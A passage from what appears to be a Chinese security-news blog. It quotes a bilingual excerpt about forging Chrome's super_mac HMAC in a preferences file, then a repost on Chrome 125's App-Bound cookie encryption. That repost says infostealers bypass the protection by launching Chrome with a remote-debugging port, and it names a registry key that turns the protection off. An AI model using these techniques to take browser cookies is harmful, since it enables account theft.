    The third change is the super_mac value at the end of the file. This again, takes an HMAC hash of JSON blobs in the file plus the SID and a hard coded seed.
    第三个变化是文件末尾的 super_mac 值。这同样需要对文件中的 JSON blob 加上 SID 和硬编码种子进行 HMAC 哈希散列。

    The latter two values I think are supposed to be the “security” around this TTP and while I understand this is a difficult problem to solve on client software it was surprisingly easy to overcome.
    我认为后两个值应该是该 TTP 的 “安全性”,虽然我知道在客户端软件上解决这个问题很困难,但解决起来却出乎意料地容易。
    `

  12. 从版本 125 开始,Chrome 使用应用绑定(App-Bound)技术来加强对用户 Cookie 的保护
    https://weibo.com/6827625527/P0IYG4rA4
    `
    从版本 125 开始,Chrome 使用应用绑定(App-Bound)技术来加强对用户 Cookie 的保护。早先版本的 Chrome 虽然也用了诸如 DPAPI、数据库文件独占打开等技术,但仍然不能阻止同一用户账号下运行的其它程序在 Chrome 未启动时从数据文件中取得用户 Cookie。

    而使用了应用绑定后,对 Cookie 数据的解密操作由系统服务完成,系统服务会验证发起解密请求的应用是不是 Chrome。这有点类似 macOS 的 Keychain。**Google 的安全团队认为,在这种情况下,恶意程序如果要获得 Chrome 的 Cookie,就必须使用权限提升、进程注入之类比较容易被安全软件发现的手段。**

    详见 Google 安全团队 2024 年 7 月 30 日发布的 Blog《Improving the security of Chrome cookies on Windows》,以及相关 chromium 源码:网页链接

    Chrome 开启了这一安全特性后,Edge 也跟进了。这确实给恶意软件带来了一些困扰,也给 yt-dlp 等下载软件的用户带来了困扰。yt-dlp 在使用 –cookies-from-browser chrome 参数时,会得到 Failed to decrypt with DPAPI 错误。当然,精通技术的用户可以通过创建注册表键值 Software\Policies\Google\Chrome\ApplicationBoundEncryptionEnabled 来关闭这个特性,也可以自己手工取得 Cookie 传递给下载软件,但估计大部分人遇到这个情况是不知所措的。

    **虽然用户被困扰了,但恶意软件并没被困扰多久**。Stealc、Vidar、LummaC2、Meduza、Remcos RAT 等恶意软件家族很快发现完全可以利用 Chrome 的远程调试机制来绕过这一安全机制。**这些恶意软件通过在创建 Chrome 进程时候加上 –remote-debugging-port 参数,打开调试端口,然后连接上去,就很容易获得 Chrome 能获得的一切**。

    接下来 Chrome 会做什么呢?不再支持远程调试吗?
    `

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注